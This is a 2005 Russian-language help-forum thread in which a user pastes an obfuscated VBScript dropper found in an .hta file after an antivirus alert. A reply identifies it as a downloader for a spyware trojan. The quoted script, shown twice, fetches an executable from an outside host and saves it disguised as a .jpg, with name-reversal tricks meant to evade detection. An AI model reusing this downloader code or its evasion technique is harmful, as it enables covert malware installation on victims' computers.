|
чо за гадость ? вирус ?
|
||
|---|---|---|
Участник
Сообщения: 6 245
|
||
|
<script language="vbscript">: on error resume next : set o = CreateObject(strreverse("PTTHLMX.2lmxsm")) :a=2222:b=45:c=(a-b)*2:print int(c): o.open "GET","http://vipbaseinfo.com/traffic/sp2/web.exe",False :ebatsya = "s kasperom nepriyatno":a=1:b=2:c=(b-a)*3: o.send : set s = createobject(strreverse("maerts.bdoda")) : s.type=1 : s.open : s.write o.responseBody : s.savetofile "C:\\win.jpg",2 : window.close()</script>
ругнулся AVP, потом нашел на c:\ cmdexe.hta подскажите плз  |
||
| 05.10.2005, 14:06 |
|
|
|
чо за гадость ? вирус ?
|
||
|---|---|---|
Участник
Сообщения: 6 245
|
||
|
дык как он попал мне на диск ? вот интересно
|
||
| 05.10.2005, 14:11 |
|
|
|
чо за гадость ? вирус ?
|
||
|---|---|---|
Участник
Сообщения: 6 245
|
||
|
сорри не AVP а NAV
вот еще странно в system32 нашел mscom32.dll измененный 5-10-5 размером 10752. Может у меня паранойя - но это не засада какая-нить ? online проверка ничо не дала - типа все тип топ |
||
| 05.10.2005, 15:08 |
|
|
|
чо за гадость ? вирус ?
|
||
|---|---|---|
Участник
Сообщения: 3 335
|
||
|
big-duke<script language="vbscript">: on error resume next : set o = CreateObject(strreverse("PTTHLMX.2lmxsm")) :a=2222:b=45:c=(a-b)*2:print int(c): o.open "GET","http://vipbaseinfo.com/traffic/sp2/web.exe",False :ebatsya = "s kasperom nepriyatno":a=1:b=2:c=(b-a)*3: o.send : set s = createobject(strreverse("maerts.bdoda")) : s.type=1 : s.open : s.write o.responseBody : s.savetofile "C:\\win.jpg",2 : window.close()</script>
ругнулся AVP, потом нашел на c:\ cmdexe.hta подскажите плз Этот код загружает на твой комп троян "Trojan-Spy.Win32.Agent.hd" (по классификации Касперского). |
||
| 05.10.2005, 15:41 |
|
|
